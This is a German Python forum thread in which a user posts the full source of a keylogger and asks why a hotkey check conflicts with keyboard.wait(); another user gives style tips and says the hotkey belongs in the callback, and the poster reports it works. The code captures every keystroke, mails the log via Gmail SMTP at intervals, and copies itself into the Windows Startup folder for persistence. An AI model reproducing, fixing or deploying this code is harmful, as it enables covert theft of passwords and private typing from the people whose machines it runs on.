Ich habe ein Problem bei keyboard.wait()

Wenn du dir nicht sicher bist, in welchem der anderen Foren du die Frage stellen sollst, dann bist du hier im Forum für allgemeine Fragen sicher richtig.
Antworten
FuTeaz
User
Beiträge: 3
Registriert: Freitag 6. August 2021, 23:49

Hey Leute ich habe ein Keylogger Script geschrieben und stoße jetzt auf ein Problem bitte einmal angucken Danke
Bild
Bild
Bild
Bild

Wenn ich das Programm so ausführe dann startet der Keylogger nicht, sondern achtet nur auf den Tastenanschlag strg + alt + s und startet dann nur das Setup() und wenn ich das on_press() nach dem keylogger.start() mache funktioniert on_press() nicht mehr wegen dem keyboard.wait() nicht mehr also glaube ich was soll ich machen das beides funktioniert danke schonmal im Voraus !

(Bilder Links:
1: https://ibb.co/T1WsS4k
2: https://ibb.co/yfkrWhW
3: https://ibb.co/Hz3vYLB
4: https://ibb.co/2gvSLQD
)

LG FuTeaz
Benutzeravatar
sparrow
User
Beiträge: 4538
Registriert: Freitag 17. April 2009, 10:28

Stwll deinen Programmcode hier im Forum als Text ein - in Code Tags. Die erscheinen automatisch wenn du im "Vollständigen Editor" den </> Button drückdt. Dazwischen gehört dein Code.
FuTeaz
User
Beiträge: 3
Registriert: Freitag 6. August 2021, 23:49

Hier ist der Code:

Code: Alles auswählen

import getpass
import keyboard
import smtplib
import os, stat
from threading import Timer
from datetime import datetime
from tkinter import *
from tkinter import ttk
from shutil import copyfile

SEND_REPORT_EVERY = 10
EMAIL_ADDRESS = "<Hier kommt dann die gmail rein>"
EMAIL_PASSWORD = "<Passwort für die Mail>"


class Keylogger:
    def __init__(self, interval, report_method="email"):
        self.interval = interval
        self.report_method = report_method
        self.log = ""
        self.start_dt = datetime.now()
        self.end_dt = datetime.now()

    def callback(self, event):

        name = event.name
        if len(name) > 1:
            if name == "space":
                name = " "
            elif name == "enter":
                name = "[ENTER]\n"
            elif name == "decimal":
                name = "."
            else:
                name = name.replace(" ", "_")
                name = f"[{name.upper()}]"
        self.log += name

    def update_filename(self):
        start_dt_str = str(self.start_dt)[:-7].replace(" ", "-").replace(":", "")
        end_dt_str = str(self.end_dt)[:-7].replace(" ", "-").replace(":", "")
        self.filename = f"keylog-{start_dt_str}_{end_dt_str}"

    def report_to_file(self):
        with open(f"{self.filename}.txt", "w") as f:
            print(self.log, file=f)
        print(f"[+] Saved {self.filename}.txt")

    def sendmail(self, email, password, message):
        server = smtplib.SMTP(host="smtp.gmail.com", port=587)
        server.starttls()
        server.login(email, password)
        server.sendmail(email, email, message)
        server.quit()

    def report(self):
        if self.log:
            self.end_dt = datetime.now()
            self.update_filename()
            if self.report_method == "email":
                self.sendmail(EMAIL_ADDRESS, EMAIL_PASSWORD, self.log)
            elif self.report_method == "file":
                self.report_to_file()
            print(f"[{self.filename}] - {self.log}")
            self.start_dt = datetime.now()
        self.log = ""
        timer = Timer(interval=self.interval, function=self.report)
        timer.daemon = True
        timer.start()

    def start(self):
        Setup()
        self.start_dt = datetime.now()
        keyboard.on_release(callback=self.callback)
        self.report()
        keyboard.wait()




def stopp():
    exit()

def Setup():
    win = Tk()
    win.geometry('800x600')
    win.title("Setup")
    win.label = Label(win, text="Keylogger Beenden !",
                      # Design
                      width="20", height="10")
    win.label.pack()
    win.button = Button(win, text="Beenden !", command=lambda: [stopp(), win.destroy()],
                        # Design
                        bg="red", fg="white", height="20", width="60")
    win.button.pack()
    win.mainloop()

def on_press():
    if keyboard.read_key() == "strg" and keyboard.read_key() == "alt" and keyboard.read_key() == "s":
        Setup()

if __name__ == "__main__":
    Pfad = os.path.abspath(".") + "/keylogger.py"
    user = getpass.getuser()
    ZielPfad = 'C:/Users/'+user+'/AppData/Roaming/Microsoft/Windows/Start Menu/Programs/Startup'+'/keylogger.py'
    os.replace(Pfad,ZielPfad)
    copyfile(ZielPfad,Pfad)
    on_press()
    # keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="email")
    keylogger = Keylogger(interval=SEND_REPORT_EVERY, report_method="file")
    keylogger.start()
Danke schonmal
LG FuTeaz
Sirius3
User
Beiträge: 18274
Registriert: Sonntag 21. Oktober 2012, 17:20

Du benutzt os.path stückekst dann aber Pfade mit + zusammen. Letzteres macht man überhaupt nie, ersteres wurde durch pathlib.Path ersetzt.
Die eigene Datei liegt im allgemeinen nicht im aktuellen Arbeitsverzeichnis, und ist viel besser durch __file__ erreichbar. Das Userverzeichnis bekommt man über Path.home().
Statt die die Standardformatierung von datetime per replace zu bearbeiten benutzt man den passenden Formatstring.
Man benutzt keine *-Importe.
Und wenn Du Strg+Alt+s abfangen willst, dann musst Du das in Deinem callback tun.
FuTeaz
User
Beiträge: 3
Registriert: Freitag 6. August 2021, 23:49

Sirius3 hat geschrieben: Sonntag 8. August 2021, 07:04 Du benutzt os.path stückekst dann aber Pfade mit + zusammen. Letzteres macht man überhaupt nie, ersteres wurde durch pathlib.Path ersetzt.
Die eigene Datei liegt im allgemeinen nicht im aktuellen Arbeitsverzeichnis, und ist viel besser durch __file__ erreichbar. Das Userverzeichnis bekommt man über Path.home().
Statt die die Standardformatierung von datetime per replace zu bearbeiten benutzt man den passenden Formatstring.
Man benutzt keine *-Importe.
Und wenn Du Strg+Alt+s abfangen willst, dann musst Du das in Deinem callback tun.
Danke für die Antwort
Ich habe alles verbessert und eine Callback Abfrage gemacht klapp jetzt alles einwandfrei ;)

LG FuTeaz
Antworten